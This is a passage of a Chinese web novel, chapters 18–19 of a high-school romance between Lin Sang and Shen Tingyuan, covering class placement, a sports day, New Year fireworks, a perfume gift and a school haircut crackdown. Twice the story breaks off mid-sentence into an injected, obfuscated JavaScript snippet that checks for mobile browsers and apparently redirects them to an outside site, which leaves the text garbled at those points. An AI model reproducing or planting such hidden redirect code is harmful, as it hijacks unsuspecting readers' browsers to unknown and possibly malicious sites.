又过了几秒,忽明忽灭的光线里,林桑看到少年缓缓抬起手,配合着她五指弯起的弧度,一点点张开手。 他小心翼翼地靠近,在这个角度,他停住时,他们的十指仿佛握住了一般。 在她未曾察觉的瞬间里,那个光风霁月的少年,偷偷借位缝补着内心深处的空缺。 18.第 18 章 假期总是愉快又短暂。 离开学还有一周时,分班名单才被陈雪发在班群里。 听说一中从今年开始要单独选出两个优秀班,称为A班,而平行班则称为B班。 名单上没标明,群里都在猜测自己是在A班还是B班。 有人说在名单上看到了第一是林桑,他们班肯定是A班。 林桑打开看了一眼,251班被分做文科班,班主任也依旧是陈雪,班上大部分都是熟人。 适珈蓝和鲁琳选了文科,适珈蓝还是和她一个班,鲁琳则被分到另一个班。方倚霏因为家里坚持学理科以后报志愿的时候选择比文科多,强制要求她学了理科。她理科成绩一塌糊涂,担心以后碰上本科线都难,毅然决定以后走艺考这条道。 分班名册上有新的班级群号,林桑添加完后,退出来重新把名册翻了一遍,终于找到沈听原。 沈听原在260班,排名全班第六。 优秀班不仅仅只看高一最后一次期末考成绩,还综合了月考甚至是他们的中考分数,沈听原这个排名,比他期末考时还要高。 他们只要一直稳定地保持着现在的水平,考上北城外国语大学不是难事。 林桑保存了名单,准备和沈听原分享时,柜台被人敲了敲。 沈听原探头看了一眼:“分班名单出来了?” 林桑把手机放在柜台上转向他:“刚出来,你在260,我观察了一下班上的人,应该是A班。” 沈听原随意扫了一眼,相比自己的,他更关心她的。 “你在哪个班?” “251,班主任也还是陈姐。”林桑说。 “那挺好。”沈听原说,“也是A班。” 他倚在柜台边笑:“离梦想又近一步,怪期待的。” 林桑手撑在柜台上托着脸,抬眼看他:“我也是。” …… 开学后,日子逐渐忙碌起来。 因为是择优班,老师都会刻意强调,让他们要比其他人拿出更多的精力和努力去学习。 刚升上高二,大部分人还是觉得“高考”二字还很遥远,有人甚至对未来还没有任何规划,该玩还是玩,对这些老生常谈的话充耳不闻。 时间在一支支写干墨水的碳素笔和一本本不再崭新的课本中悄然流逝。 云亭咄咄逼人的气温总算降了一点,云亭一中在十二月初,迎来了数千名学生翘首以盼的冬季运动会。 运动会为期一周,因为学校大翻修,操场已经一片废墟,校长申请了到县里的体育馆开运动会。 周一一早集完队后,为了方便管理,从高一到高三,中间间隔五分钟有序出发,往体育馆方向走。 除了领队的两名老师,其他老师都跟在后方,只有两名男老师骑着小摩托车来来回回负责巡逻。 出发时整齐有序的队伍走着走着开始变得懒散,有人还串起了班。 管了几次没用,老师也妥协了,让他们只要不离开队伍,走慢走快都行。 林桑和适珈蓝分着一包薯片,聊着天慢悠悠跟着前面的同学。 倏地,肩膀被人拍了一下。 林桑转头,没见到人,另一边肩膀又被人拍了一下,她定住,没再转头。 沈听原晃过来,和她对上眼。 林桑他们班是文科班之首,队伍也是他们班排在首位,她往后面看了一眼,身后浩浩荡荡的人,从他们班到这,中间隔了整整八个班。 适珈蓝动作缓慢地往嘴里塞了一片薯片,感叹道:“穿越人海来见你,真浪漫。” 林桑:“……” 沈听原闻言,轻笑着撇开头,往林桑手里塞了一条口香糖说:“下午两点记得看我比赛,零食管够。” 之前也没听他说报了项目,林桑问:“你报了什么?” 沈听原:“铅球。” 他吹了个泡泡继续道:“被拉去充人数的,到时候是铅球丢我还是我丢铅球,难说。” 林桑没忍住,噗嗤一声笑了出来。 一旁适珈蓝也忍不住哈哈大笑起来:“林桑,这你可一定得去,不能错过啊。” 三人简单聊了一会儿,带队的老师在体育馆门口停下,举着喇叭开始整理队形。 开幕仪式结束后,第一项比赛是集体课间操,之后才是其他项目。 等课间操比赛结束,时间也差不多接近饭点,学校从外面订了盒饭直接送到体育馆,也省了他们在学校和体育馆之间跑来跑去。 每个班都有着固定的位置,但也就用来放放东西什么的,人早就跑没影了。 方倚霏和鲁琳在自己班待不住,一起过来找林桑和适珈蓝。 找了个位置吃完饭后,方倚霏从相册里翻出一个视频说:“我之前刷到了保存的,我们也拍一个呗。” 林桑凑上前看了一眼,视频里一男一女相对而立,中间隔了大概两米远,他们双手往身后张开互相鞠了个躬,随后站直,双手放在前胸转了几圈后,微微往下蹲在头顶比了个爱心。 比完心后,男生在原地站稳,女生张开手臂朝男生跑了过去,被男生一把抱起转了个圈。 视频播完,鲁琳脱了外套说:“我这身高你们也抱不了我,我就勉强牺牲一下,让你们感受一把传说中的男友力。” “谁先来?” 方倚霏激动不已,把手机递给林桑后起身:“我来我来我来!” 林桑帮她们拍完后,轮到适珈蓝,视频拍到一半,站在一旁看视频的方倚霏叫了她一声。 林桑顺着她下巴抬着的方向看过去,沈听原手里拎着一大袋零食站在她们附近。 动作看似多,但做起来是连贯的,且速度很快,十多秒后视频就录完了。 见她们录完了,沈听原才信步上前。 他将手里的零食递给林桑:“说好了的,来看我比赛零食管够。” 林桑低头看了一眼,满满当当一大袋。 “太多了,吃不了,你留一半吧。” “我那有。”沈听原说,“你们四个人呢,聊天的时候慢慢吃。” “就是一会儿的比赛别忘了就行。” “不会。”林桑笑了一下,“我设了闹钟,还提前去场地看了一圈,找好了最佳观赛点。” “你这么一说,我还有点小压力了,”沈听原说,“看来得努努力,争取是我丢铅球。” 林桑脸上笑意更浓:“加油!” 沈听原眉梢稍扬:“好!” 见他们聊得差不多,方倚霏拿着手机走过来说:“林桑,到你了。” 林桑应了一声,沈听原看向她问:“什么到你了。” 林桑:“就刚刚她们拍的那个视频,我们说好了轮着拍来着。” 沈听原:“什么视频?” 他话音一落,方倚霏就十分上道地把原视频点开给他看。 沈听原微微眯着眼看完后,唇角扬起,“我陪你拍?” 林桑还没反应过来,方倚霏大手一拍道:“可以啊,人原视频就是男生和女生拍的。” 她说着,不动声色地朝林桑眨了眨眼,“快快快,我帮你们录。” 林桑往周围看了看,迟疑道:“算了吧,一会儿被老师发现就麻烦了。” 适珈蓝和鲁琳立马道:“我们负责放风,你们快点。” 两人说完,一个往前,一个往后,还真放起了哨。 方倚霏已经点开相机调好姿势,催促道:“快快快!” 林桑莫名有些紧张,她看着站在对面的沈听原,连动作都差点忘了,跟着沈听原把前面的动作做完后,林桑顿了一下。 沈听原站在对面,用口型对她说:“来吧。” 林桑深深吸了一口气,张开手毫无顾虑地跑了过去,沈听原只伸出一只手就将她整个人举了起来。 沈听原身高185,林桑一下子到了一个从未企及过的高度,情急之下只能一把抱住他的脖颈。 “沈听原,你快放我下来。” 沈听原确实是把她放下来了,但没放到地上,而是像视频里那样,抱着她转了一圈又一圈。 方倚霏捂着嘴,控制着想要尖叫的冲动,那头放哨的适珈蓝和鲁琳也忍不住侧目。 又转了两圈,沈听原放下林桑,扶着她问:“晕不晕?” 林桑羞到一张脸涨得通红,她手抓着沈听原的衣角,头抵在他胸膛上,闷声说:“有点。” 沈听原捧起她的脸,凑近看了看,抬手捏了捏,低笑道:“怎么跟我还害羞。” 林桑:“……” 她一时之间找不到好的措辞,好在广播适时响起救了她。 沈听原往检录处走后,方倚霏她们立马凑了过来。 方倚霏八卦地挑眉道:“怎么样,高处的空气是不是更清新。” 林桑脸上消了一半的红晕重新蔓延,有些别扭地吐出三个字:“不知道。” “……” 广播又响了起来:“请参加男子铅球的同学到检录处检录,领取号码布。” 方倚霏疑惑地从屏幕前抬起头:“汗抹布?” “扔铅球出不了多少汗吧,咋还配专门擦汗的布呢。” 林桑:“……?” 适珈蓝和鲁琳同样露出了疑惑的表情。 “学妹,是号码布,方便记录分数用的。” 她们同频朝那道声音看去,一个男生站在她们身后。 见她们回头,男生拎起用别针固定在衣服下摆的号码布晃了晃。 男生个子很高,留着一头干净利落的短发,笑起来时很阳光。他皮肤颜色比健康的小麦色还要深一些,穿着无袖上衣和短裤,看脚上的钉鞋,应该是个体育生。 林桑总觉得男生看着有些眼熟,仔细一想,好像是那次“展风采”大赛上说要转送奖品给方倚霏的那个男生。 林桑会记得他,还是适珈蓝在路上碰上时给她指过两次。 方倚霏看着男生,愣了一会儿才小声应:“哦,这样啊,我听错了。” 男生点了下头,抬脚离开。 不知为何,林桑总觉得他们之间,有股难以言说的氛围。 那头参加铅球比赛的男生已经检录完毕,她没来得及深想,和方倚霏她们一起去了比赛场地。 林桑她们在比赛场地旁站了一会儿才轮到沈听原上场。 临上场前,他就将外套脱下来递给了林桑,这会儿身上只穿了校服T恤。 沈听原捞起铅球后,先调整了下姿势,袖子本就短,随着他的动作一点点往上移,手臂上的肌肉线条根根分明,从上往下蔓延,看起来坚实有力。 “咚”的一声,铅球落地,围观的人都拍手叫好。 成绩得等比赛完后才公布,不过从距离上看,沈听原的成绩是目前最好的,拿奖肯定不成问题。 下午所有比赛结束后就进行了一场小型的颁奖仪式,不出意料,沈听原获奖了,还是第一名。 他拎着奖牌找上林桑,把金牌戴在她脖子上。 林桑拿起看了一眼,“给我了啊?” 沈听原略微点头:“嗯。要没你加油,我都拿不到。” 林桑捧着手里的金牌看了又看:“夸张哦。” 沈听原抬手盖在她头顶揉了揉:“可要替我好好保管,我会随机抽查的。” 林桑抬眼笑:“保证完成任务!” * 运动会结束后,日子又恢复了平常的样子,每天上课吃饭睡觉,唯一的盼头就是元旦放假。 元旦那天是周天,学校很大方的在周四这天开始放假,还没来记得及高兴呢,得知周六收假,嘴边的欢呼成了谩骂。 周六晚上上自习的时候,过了七点天还没完全黑下来窗外烟花就一阵又一阵,班上的同学人虽在教室里坐着,心却早已飘到远方。 守自习的老师也无奈,给他们放了电影,晚上的自习就这么过完。 晚上回寝室的路上,沈听原照例送林桑到宿舍楼下。 林桑快进门前,被他喊住。 “你之前不是好奇我身上的香味从哪来的,我找到了。”沈听原说。 其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781615|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她提及的那次他回去后就找机会问过家里的阿姨有没有往他衣服上喷过什么,阿姨说只是帮他理顺衣服褶皱的时候喷了水,没喷其他的。 沈听原追问只是普通的水吗,阿姨说那还能是什么水,见他执着,阿姨问起是不是有什么事,他说衣服上总有股香味,阿姨不以为意,说现在的洗衣液都带着浓浓的香味,能在衣服上留很长时间,有香味很正常。 虽然有疑虑,但阿姨一口咬定,他也没多问,想着以后观察观察。 这个阿姨是他爸担心把他一个人丢在云亭他会饿死而请的,沈听原不太需要,本来想让他爸把人给辞了,结果发现阿姨一个人供养两个孩子上学,除了照顾他,还多打了几份工。辞退了阿姨恐怕又要重新找工作,于心不忍,他便和阿姨商议只偶尔过来帮忙打扫下除他房间以外的卫生就行,饭的话他需要的时候提前说了再做,工资还是照付。 阿姨一个月也就过来三四次,所以他们很少能碰上面。 直到前几天他回去取卷子,正好撞见阿姨帮他理着他晒在院子里的床单,边拍边拿着一个小瓶子喷。 沈听原走近后才看清阿姨手里的东西,一个不大的玻璃瓶,瓶颈上系了黑色的蝴蝶结,而瓶子里,则是淡粉色的液体。 见他盯着看,阿姨还笑着跟他说是从她大女儿那拿的,说是里面只是水,颜色是玻璃瓶反射的,至于香味嘛,也是瓶子自带的,喷出来的时候有香味,但一会儿自己就散了。 阿姨还说这个小瓶子可比她以前用的小喷壶方便多了。 阿姨的大女儿今年大二,听阿姨说坚决不让女儿在上学期间谈恋爱,她辛辛苦苦供养她们,是希望她们出人头地的,沈听原有次帮阿姨弄卡的时候加过阿姨大女儿的微信,见她发过和男朋友的合照,这香水,他要是没记错,是那个男生送的纪念日礼物。 用这么蹩脚的借口也能让阿姨信服,不知道她费了多少劲。 沈听原没戳穿,只说瓶子挺好看的,他也想买一个,阿姨忙说她让女儿帮他买一个,也就顺手的事,沈听原拍了个照,说自己上网找就行。 他没了解过香水,那个时候对一些大牌也没什么概念,没能认出那是哪一个牌子的哪一款香水。 把图片放进搜索栏一了解才发现,这款香水名字叫“反转巴黎”,介绍里提到了这样一句话: ——“像法国的甜品一样甜。”[1] 没去过法国,不知道那里的甜品究竟有多甜,他脑海里浮现出的,是林桑脸上的笑。 再一看广告语:“只此一瞬,狂爱一生。”[2] 脑海中飞速闪过一些画面,他看着屏幕,更觉得这款香水适合送她。 …… 沈听原放下书包,从包里取出一个盒子递给她。 林桑接过看了一眼:“这是……香水?” “嗯。”沈听原说,“阿姨从她女儿那拿了一瓶当小喷壶用,她没了解过才以为里面是水。” “跟了我这么久,我现在才发现这味道还挺好闻的。” “适合你。” 林桑:“我不喜欢用香水,你留着吧,我还是觉得适合你,我都闻习惯了。” 沈听原:“不想喷放着就行,元旦礼物。” 原来元旦也能收礼,她有些不好意思:“我都没准备。” 沈听原轻笑:“我也不过是赶巧了。” “你要实在想回礼,想想还有几个小时就元旦了,不能一起跨年,你应该对我说点什么。” 林桑捧着盒子,动了动,站直了些,笑道:“沈听原,元旦快乐,往后也一起跨年吧。” 沈听原垂下头,笑得肩膀不停颤抖着,两秒后抬眼,眉眼带笑:“好。” 林桑看着他,笑了笑,犹豫了一下道:“要不,我送你个许愿的机会吧。” 沈听原挑眉道:“有限制没?” 林桑:“就……在我能实现的范畴。” 沈听原作势想了想,说:“也没什么大愿望,听说这香水跟法国的甜品一样甜,等以后有机会了陪我去尝尝。” 林桑抬手道:“放心吧,我一定替你实现这个愿望,拉钩。” 沈听原垂眼看着她的手,没忍住笑道:“小学生啊你。” 林桑:“你不拉的话,指不定哪天我就反悔了。” 沈听原抬手勾住她的小拇指,“想得美。” “……” 十点半熄灯后,老师巡逻完,寝室里又小声聊起了天。 聊到兴头处,窗外“嘭嘭嘭”响了几声,一道道绚烂的烟花在夜空中炸开。 零点,新的一年来临。 林桑盘腿坐在床上,看着在高楼上方层层绽放的烟花,小声道:“沈听原,元旦快乐。” 过了大概五分钟,外面的烟花和人们的热情一起消散。 隔天还要上课,寝室里的人互道完“元旦快乐”后就睡下了。 刚平息没多久,黑夜再次被点燃,烧出不同轨迹的彩色线条。 这一次的烟花因为独自绽放,更加耀眼,正好在林桑床位的斜边,她躺在床上也能清晰地看到。 适珈蓝想和朋友一起跨年,偷偷藏了手机,她猛地从床上跳下来,趴到窗户边举起手机拍照。 这场烟花持续时间很长,舍友都起身伸着头往外看,林桑也忍不住起身,适珈蓝拍完照,见她坐在床上,走了过来:“带你看迪士尼乐园。” 林桑接过手机,屏幕上是适珈蓝刚刚拍的照片。 烟花升起的位置前不久刚刚建好一栋楼,典型的欧式风,烟花在那栋楼两侧和顶端绽放,适珈蓝在某个瞬间按下拍照键,画面就此定格。 还真有点网上火的迪士尼乐园烟花那味。 “漂亮吧?”适珈蓝说。 林桑把手机还给她:“漂亮。” 适珈蓝:“那我把图片发给你。” 林桑:“好。” 适珈蓝应了一声,转身回了床,躲在被子里,点开某个聊天框打下“她看到了”四个大字后发送。 那头很快回复,和她道了谢。 19.第 19 章 冬日里的阳光总是最温和,照得人暖洋洋的,在除夕这一天,令人心情更加愉悦。 大伯和大伯母先回的云亭,短暂休息过后,外公和大伯下着棋,林桑和林景在厨房里陪奶奶和大伯母研究菜谱。 刘乔千一直到年夜饭快开始才匆匆进门。 吃过饭后,一家人坐在客厅,看着春晚聊天守岁。 时间一分一秒过去,窗外响起剧烈的烟花炸裂声时,林桑才后知后觉,新年了。 林景拿起早早准备好的烟花和仙女棒喊林桑:“走啊,放烟花。” 林桑起身走了出去,大人只是在客厅里坐着笑着看他们,宽阔的庭院里只有他们。 林景摆弄着烟花说:“他让你看眼消息。” 和沈听原分享完年夜饭后,林桑就把手机静音了放在兜里,一直没拿出来看过。 闻言,她从兜里翻出手机,打开一看,沈听原那边的消息在零点时就已经发了过来。 【Banana:金金,新年快乐!】 林桑笑了一下回复他:【沈听原,新年快乐!】 那头立马打了一通电话过来。 沈听原的声音通过电流传来,嘈杂声后响起了关门的声音,他那头杂乱的声音消了不少。 “在干嘛呢?” “等我哥点烟花。” 沈听原应了一声,安静数秒,听到林景催促的声音,他道:“去玩吧,就是想听听你的声音,我大概初五后回来。” 林桑抿唇应:“好。到时候,一起放烟花。” 沈听原笑:“行。” 电话挂断后,林景点燃了烟花,一道道火点子从眼前蹿出,在黑夜之中炸出一圈星星点点。 林桑抬头看了一会儿,打开手机拍了几张照片,准备和沈听原分享时,屏幕上面弹出一条消息: 【Q/Q动态:Banana给我留言……】 她点进去一看,背景图是烟花,而留言的内容,是他们不久前的约定: ——“说好了啊,等我回来,一起放烟花。” 林桑没回复,而是点进他的空间,点开留言。 他的最近一条留言,还是她之前给他留的第一条留言: ——“谢礼。” 下方是沈听原的回复:“收到。” 林桑唇角扬起,开始编辑新留言。 删删改改几次,她想了想,打开相册从刚才拍的烟花里选了一张出来用作背景,敲下一个字: ——“好。” …… 往后几天,不是走亲戚就是四处聚餐,初四这天,在外工作的人都陆陆续续离开,热闹散去,家里又恢复了往常的样子。 傍晚吃过饭后,林桑和林景以及柳靳于盘腿坐在地上斗地主。 林景热衷于当地主,林桑和柳靳于则都不喜欢当地主,所以每轮都是林景当地主,被他俩合计着斗到输得贴了一脸的纸条。 玩了不知道几轮,外面天色也暗了下来,奶奶出门收晒在院子里的萝卜干,进门时带了个人进来。 他们仨都沉浸在自己的头脑风暴之中,等人站在林桑身后揉了揉她的头才发现多了个人。 林桑原本一脸纠结地看着牌,思索着要怎么和柳靳于配合一番才能赢,头上猝不及防压下来一道力。 抬头对上沈听原的眼睛,她愣了一下:“你不是初五后才回吗?” “没什么事干。”沈听原说,“就提前回来了。” 林景甩了一张牌出来,对着他说:“站着干嘛,坐啊。” 沈听原:“不了,一会儿带她出去放烟花。” 林景出的牌林桑要不起,柳靳于也过。 林景一个地主,总算能翻身农奴把歌唱,得意道:“等她赢了我再说。” 沈听原瞥了眼,林桑手里只剩两张牌,一张方块五,一张小王。 沈听原:“谁是地主?” 林景又丢了两张牌,喜上眉梢:“你大爷我,不够明显?” 沈听原没说话,他又扫了眼柳靳于的牌,牌太烂,还剩大半。 而林景手里的牌,剩得不多,还能凑成三带二之类的,大王也在他手上,马上就能定输赢。 看来最开始得意的是林桑,也不知怎么打的,把后路堵死了。 眼瞅着林景把能出三带二的牌拆开故意挑衅,沈听原在他甩出黑桃四时,倾身将林桑手里的方块五丢了出去。 林景一哼,正要去拿大王时,被人抢先一步抽了出去。 沈听原:“王炸。” 沈听原:“牌没了,赢了。” 林景:“?” 林桑:“……?” 柳靳于:“???” 沈听原没有半分坑害兄弟的愧疚之心,面不改色地说:“你只说赢了你就行,又没说不能抽你的牌。” 林景只要把大王一出就能甩出三带一打赢翻身战,还能顺带挑衅一番。 虽然他才是地主,但连续输了几轮,林桑和柳靳于倒是更像地主。 距离他翻身农奴把歌唱只有一步之遥! 一步!!! 林景火冒三丈,一口气差点没提上来,指了他半晌,闭了闭眼才从牙缝里挤出三个字:“滚!赶紧滚!” 沈听原求之不得,挑了下眉,拉起林桑就往外走。 身后林景像是反应过来了,跳着脚骂骂咧咧。 出门后,沈听原往林桑身边靠了靠说:“完了,以后得被你哥恨死,你可得保护我。” 林桑:“爱莫能助。” 沈听原:“这么狠心啊?” 林桑:“那就……勉强保护一下吧。” 话落,两人相视一笑,走着走着,在沈听原家门口停下。 沈听原家的装修很简单,连一些简单的装饰品都没有,偌大的客厅里只有一些基础的家具,有种空荡荡的感觉。 林桑刚在沙发坐下,一团橘色直冲而来,她弯下腰,把香蕉抱在怀里。 沈听原给她倒了杯水,在她身侧坐下:“它很喜欢你。” 林桑还没说话,就听他又补了一句:“当然,它的主人更胜一筹。” 林桑动作停住,笑倒在沙发里:“沈听原,几天没见,你从哪学的这些甜言蜜语?” 沈听原:“遇上你无师自通罢了。” 林桑:“……你还是别通了。” 沈听原舔舔唇,也跟着她笑:“不是,有那么恶心吗?” 林桑默了一会儿:“没有,就是听着怪别扭的。” 沈听原:“行,那不说了。” 两人有一搭没一搭地聊起了过年这几天的事,天色如墨一般,繁星密布,远处偶尔响起几道烟花炸开的声音。 沈听原抬手看了眼时间,“出去放烟花?” 林桑抱着香蕉起身:“好。” 庭院里一阵阵冷风刮过,林桑抱着香蕉站在一旁,沈听原半蹲在地上,试了几次才将烟花点燃。 烟花腾空升起,他跑到林桑身边,抬头看了一会儿,垂眼道:“虽然晚了几天,但祝福还是想和你当面说。” 林桑偏过头,抬眼,漫天烟火下,少年一双眼睛清晰明亮,带着赤忱。 “金金,新年了,祝你新的一年顺遂无忧。” 林桑:“你也是。” 他道:“你不能学我。” 林桑想了想:“那我就祝你新的一年,事事顺利,考进年级前五。” 沈听原笑:“那我就谢金口喽。” “……” 放完烟花后,林桑没再多待,沈听原送她回家。 路上,走到一个拐角边时,沈听原站在路灯下,踢了踢上面的尖角。 “你以后来了,看见这个角就踢它两下。” 林桑:“为什么?” 沈听原:“我跟它有仇。” 林桑微怔,疑惑道:“你们这都跨物种了,怎么结仇的?” 沈听原嘴一撇,指着左侧脸颊上的酒窝说:“我这么大个窝,就是从它这磕出来的。” “这么多年也没恢复,害我毁容,我得恨它一辈子。” “毁容?”林桑轻笑一声,“没有吧,我一直觉得挺好看的来着,有记忆点。” 沈听原顿了一下,有些不确定地问:“真的?” 林桑重重点了头:“真的。” 沈听原停住在尖角上一下一下踩着的脚,往后退了两步说:“行,和解了,以后不踢了。” * 年后,云亭的气温急速回升,好像只是为了让人有点过年的气息而特意降了一段时间温。 开学一个月后,一中换了新的教导主任。 新官上任三把火,那段时间各种检查接踵而至,就没消停过。 就在所有人都以为要告一段落的时候,教导主任在小自习时开启了巡逻。 教导主任双手背在身后,一进门便目光如炬,在每一个人身上扫过。 林桑他们班统共也就十个男生,六个被他拍了拍肩膀示意下楼等。 不知道究竟要做什么,没轮到的人都紧张到不敢动。 感受到教导主任靠近时,林桑解题的手顿了顿,下意识看了一眼,视线碰巧和他撞上。 教导主任扫了她一眼,敲了下桌角道:“手上红绳摘了。” 林桑愣了两秒才边摘边应:“好。” 教导主任走后,教室里响起一阵整齐划一的叹息。 适珈蓝拍了拍胸口小声道:“这活阎王又抽什么疯?” “一个红绳也碍他眼了。” “之前查卫生查纪律,现在恐怕查仪容仪表呢。”林桑说,“没让我们剪头发就不错了。” 适珈蓝:“这么说,那几个男生,都得去剪头发了?” “你怎么知道的?” 林桑:“你看啊,出去的几个男生头发都偏长,而幸免的这四位,全是平头。” 适珈蓝点点头:“你别说,还真有这个可能。” 小自习结束后出教室一看,还真被林桑给猜中了。 但她没想到的是,教导主任竟然狠到不是让他们去外面的理发店剪,而是找了个阿姨来,在教学楼前的空地上摆了一张桌子和一条凳子,让男生排队等着剪。 队伍已经长到排了两条长龙,人数还在不断增长着。 教学楼栏杆上都爬满了人,全看着那个方向,等待好戏。 有人笑道:“当众剪头,和在全校师生面前裸/奔有什么区别。” “换了我,我就挑个上课的时间剪。” “这么多人呢,哪说得准。” “今晚一过,地府那位阎王发现自己得让位了。” 一群人爆笑出声,楼下和楼上的悲欢并不相通。 那头阿姨已经做完准备,打头阵的男生坐在凳子上,视死如归般闭上了眼。 几分钟后,男生顶着一头不算寸头也不算平头的四不像发型起身,面如死灰地从裤兜里搜出十块钱递给阿姨。 围观群众笑声更大了: “哈哈哈哈,他妈的,还要自费。” “看他的表情,哈哈哈哈哈哈哈,笑死我了!” “这是什么狗屎发型,我闭着眼剪都比这好,求那个男生心理阴影面积。” “今天才周三,住校生想改发型还得顶这个丑发型在学校晃两天,阎王是故意的吧。” “……” 距离上晚自习只剩两分钟,林桑和适珈蓝准备回教室时,林桑一眼瞥见那道熟悉的身影。 距离稍微有点远,她脚步停住,细看了一眼,发现还真是他。 沈听原和游书涧并排往队伍后方走,两人磨蹭了一会儿,等一起下楼的其他几个男生都站好后才慢悠悠跟到队伍后方。 林桑看到他抬起手准备摘眼镜,却在往教学楼方向瞥了一眼后顿住。 他往这边看了眼,估计是看到她了。 随后,她看到沈听原摘下眼镜,缓缓转过身去,背对着她。 林桑收回眼,赶在自习铃声响起时回了教室。 一节自习很快结束,林桑和适珈蓝一下课就往外跑。 位置移动过,这会儿剪头发的地点正好就在他们教室楼下。 沈听原前面只剩下游书涧和另外一个男生。 适珈蓝看了一眼笑道:“你别说,我还挺好奇他跟游书涧顶着一张帅脸剪这个丑发型是什么样。” 林桑:“我也蛮好奇的。” 两人靠在栏杆上等着,沈听原倏地抬起眼看了过来。 对上林桑的视线,他朝她招了招手,然后完全忽视在周围守着的老师,插着兜大摇大摆往队伍最后方去了。 林桑:“……” 适珈蓝瞪大眼睛:“我去,突然发现他红绳也没摘,我一直以为他很安分来着,这么狂的吗?” 林桑看着那个身影,笑而不语。 一个因为太过叛逆被送回小县城挫锐气的人,再安分能安分到哪去。 听到下课铃声响起的时候,快要轮到的几个男生都快愁死了,都想往后方跑,奈何教导主任派了两个老师在旁边守着。 这会儿有了沈听原这个出头鸟,也开始有人往后方跑。 守在旁边的老师聊着天,原本也没怎么在意,谁知有人动静闹得太大,立马被发现了。 林景迈出一半的步伐被老师吼了回去。 他原本可以侥幸躲过下课休息这段时间的,现在倒好,因为沈听原,他成了下一个待宰羔羊。 “活阎王”这个名字就该让给沈听原。 林景一脸不耐地坐下,在心里骂了沈听原八百回。 …… 晚自习结束后,林桑收完书,沈听原和往常一样出现在教室门口。 他不知道从哪弄了件卫衣,帽子盖在头上,不放心似的,还将前面的绳子在下巴底下打了个结。 林桑拿上东西出教室,沈听原一路送她到宿舍楼下,路上两人都没说话。 在宿舍大门前停下时,林桑往旁边挪了挪,沈听原也跟着她动了动。 “你头发剪了?” “剪了。” “我看看。” 沈听原言简意赅:“丑。” 她也觉得有些强人所难,但实在是好奇,轻声道:“我有点想看。” 沈听原轻微叹了声,别开脸,抬手利落地解开打在下巴底下的结,一把扯下帽子。 林桑沉默地看着,看清的第一眼,她也说不上来是什么感觉。 沈听原两边鬓角被刮得干干净净,盖在额前的碎发被剪得和发际线严丝合缝的贴着,长短不一,有点像狗啃式。 有脸撑着,倒也不丑,甚至给她一种是个有些傻气的帅哥的感觉。 或许是看多了他留微分碎盖的样子,多看几眼后,林桑突然知道怎么形容那种感觉了。 别扭。 一股诡异的别扭感。 沈听原一直没看她,发现她不说话,有些不自在地扭过头问:“看完了吗?” 林桑回神:“看完了。” 沈听原:“那我戴上了?” 林桑憋着笑点头:“好。” 戴好帽子后,沈听原说:“想笑就笑吧,我自己都没忍住,笑了一节晚自习。” 林桑没笑出来,憋了回去:“没事,没那么丑。” 沈听原应了一声,脸色不自然,扶着后颈说:“那……我走了?” 林桑朝他摆摆手:“晚安,路上注意安全。” 沈听原:“好,晚安。” …… 因为操场还在修建,课间操时间改成了在楼下空地上集体背书。 隔天上完第二节课后,林桑拿上书和适珈蓝一起下楼。 到楼下站好后,时间还没到,周围的人都在讲话。 倏地,适珈蓝激动地晃了晃她的手臂。 林桑顺着她示意的方向看过去,沈听原手里拎着一本课本正好从楼上下来。 要是换了平时,适珈蓝看到沈听原的时候叫她都挺平静的,今天这么激动,是因为…… 他的发型。 他竟然去剪了一个板寸,昨晚还留了一截的头发被剃得几乎贴着头皮。 沈听原脸型周正,脸部线条清晰流畅,过去留着一头微分碎盖,带着半框眼镜的时候,林桑总觉得他是偏清秀干净的那款,现在一看,身上多了几分正气。 位置安排没按班级顺序来,所以他们之间只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782159|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔了一个班,沈听原站定后,看了过来。 对上林桑的视线,他缓缓移开眼,打开书将整张脸都挡住。 那天课间操结束后,沈听原托了游书涧过来和她说了一声他有事,晚上不能送她回寝室。 之后,一天到晚都在她眼前晃荡的人,像是人间蒸发了一般。 林桑有些奇怪,担心他是不是生病,去他们班找过他几次,每次都是游书涧出来和她说沈听原去上厕所了不在教室。 周五晚自习结束后,林桑一个人往校门口走。 准备刷卡扫脸时,屏幕里,她身后有个人戴着鸭舌帽,低着头,和她保持着不远不近的距离。 林桑顿了一下,若无其事地刷完卡出门,下了台阶后,站在台阶的一棵树旁。 路灯正好被树遮挡了,漆黑一片,他不会发现她。 那人快步下了台阶,抬起头往四周找着什么。 林桑一步跨了出去:“沈听原。” 听到她的声音,沈听原怔了一下才转过来,依旧低着头。 林桑微微蹙眉,不满道:“沈听原,你这两天为什么躲我?” 沈听原抬手掩在唇边,低咳一声:“没有。” 林桑几步走到他身边:“你有。我说呢,怎么会那么巧,每次去找你,你都上厕所。” “你到底为什么躲我?” 沈听原:“……剪完头发得丑三天,怕你嫌我丑。” 听到答案,林桑失笑道:“那你有没有想过,在你这三天结束了,你来见我的时候,我这的三天才开始。” 沈听原猛然抬起眼,“啧”了一声说:“失算了。” 林桑捏着书包带说:“既然这样,你等头发长回以前的样子再来见我吧。” “我走了。” 转身后,林桑抬起右手挥了挥,学着小黄人的腔调道:“bye bye~” 她脚刚跨出去两步,手臂就被人一把握住。 “别。”沈听原说,“阎王还在一天我这头发就不可能留长,难不成你要让我高考结束后留三个月头发再来见你啊。” 